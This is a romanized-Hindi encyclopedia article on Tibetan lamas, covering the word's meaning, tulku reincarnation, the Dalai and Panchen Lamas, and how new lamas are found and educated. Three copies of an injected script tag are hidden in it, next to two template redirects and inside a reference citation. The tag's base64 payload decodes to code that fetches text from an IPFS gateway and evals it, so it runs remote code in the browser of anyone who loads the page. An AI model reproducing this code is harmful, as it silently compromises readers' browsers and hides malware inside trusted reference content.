लामा
lama
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| vivaran | 'lama' tibbati bauddh dharm mean dharm guru ya adhyatmik neta ko kaha jata hai. tibbati bhasha mean 'lama' ko 'bla-ma' kaha jata hai, arthat 'shreshthatar vyakti'. |
| vishesh | kuchh lamaoan ko unake poorvavartiyoan ka punarhavatar mana jata hai, unhean 'tulku lama' kaha jata hai, jo unnat lamaoan se alag hote haian. |
| sanbandhit lekh | bauddh dharm, dalaeelama tenajin gyatso |
| any janakari | avatarit lamaoan ki vanshavali mean sabase uchch 'dalaee lama' haian, jo 1959 mean nirvasit kie jane tak tibbat ke laukik shasak the. |
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lama tibbat mean bauddh dharm ke adhyatmik neta ya dharm guru ko kaha jata hai. inaki kee kotiyaan hoti haian. tibbati bhasha mean 'lama' ko 'bla-ma' kaha jata hai, arthat 'shreshthatar vyakti'.
- mool roop se 'guru'[1] ke anuvad ke lie lama shabd prayukt hota hai. is prakar yah keval mathadhishoan ya mahanh adhyapakoan ke lie prayojy hai.
- 'lama' shabd ab shishtacharavash kisi bhi sammanit bauddh bhikshu ya pujari ke lie bhi istemal kiya jata hai.
- pashchimi shabd 'lamaijm' aur 'lamasari', vastav mean tibbati bauddh dharm aur tibbati mathoan ke lie prayukt kie jane vale galat shabd haian.[2]
avatar
kuchh lamaoan ko unake poorvavartiyoan ka punarhavatar mana jata hai, unhean 'tulku lama' kaha jata hai, jo unnat lamaoan se alag hote haian, jinaka samman unake dvara hasil adhyatmik vikas ke lie kiya jata hai.
dalaee lama
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
avatarit lamaoan ki vanshavali mean sabase uchch 'dalaee lama' haian, jo 1959 mean nirvasit kie jane tak tibbat ke laukik shasak the. dalaee lama tibbati bauddhoan ke pramukh sangh 'gelugh pa' ('pila top sanpraday') ke pramukh haian. unhean karunamay bodhisatv avalokiteshvar ki daihit abhivyakti mana jata hai.
panchen lama
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
anukraman mean doosare sthan par panchen lama ate hai, jo 'tashilahuanpo math' ke pramukh mathadhish hote haian aur svayanbhoo buddh 'amitabh' ka avatar mane jate haian. any chhote tulku lamaoan ko mahanh santoan ya shikshakoan ka avatar mana jata hai, jinhean dalaee lama mahan, madhyam ya ladyu avataroan mean shrenibaddh karate haian. yah dharana sanbhavat: 84 mahasiddhoan ya mahayogiyoan ki paranpara se utpann huee hai, jinamean se kiyoan ko poorvavarti santoan ka avataran mana jata hai, jo punarjanm mean bauddhoan ki astha ka pratik hai.[2]
lama ka punarjanm
thumb|200px|ek yuva lama tibbat mean chini shasan ki sthapana se pahale punarhavatarit lama ke punarjanm ka pata lagane ki prakriya aksar vyapak aur kathin hoti thi, visheshakar dalaee lama ke chayan mean, jisake kee rajanitik nihitarth hote haian. poorvavarti lama ki mrityu ke bad kisi bhi samay, din ya saloan mean punarjanm ho sakata hai. navajat dalaee lama ka pata lagane ke lie 'nechhuang' mean rajy ke divy vakta se sanpark kiya jata hai. dalaee lama dvara apani mrityu se pahale ki gee tippaniyoan ko aksar unake punarjanm ke sthan ka sanket mana jata hai. usi tarah dalaee lama ki mrityu ya mrityu ke bad kisi ke janm ke samay huee kisi bhi asadharan ghatana ko bhi sanket mana jata hai.
chayan tatha shiksha
aksar do ya zyada ummidavaroan ki kathin sharirik evan manasik pariksha li jati hai, jisamean poorvalama ki vyaktigat vastuoan ki pahachan shamil hai. sandeh ki sthiti mean parchiyaan nikali jati haian. chayan ke bad bachche ko kam ayu se hi math sanbandhi gahan shiksha di jati hai. nav avatarit lama ki talash evan shiksha ke dauran unaki jagah shasan ke lie ek pratinidhi niyukt kiya jata hai.[2]
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tika tippani aur sandarbh
- ↑ sanskrit shabd, arthat poojaniy
- ↑ 2.0 2.1 2.2 bharat jnanakosh, khand-5 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli aur p aaupyular prakashan, mumbee |sankalan: bharatakosh pustakalay |prishth sankhya: 152 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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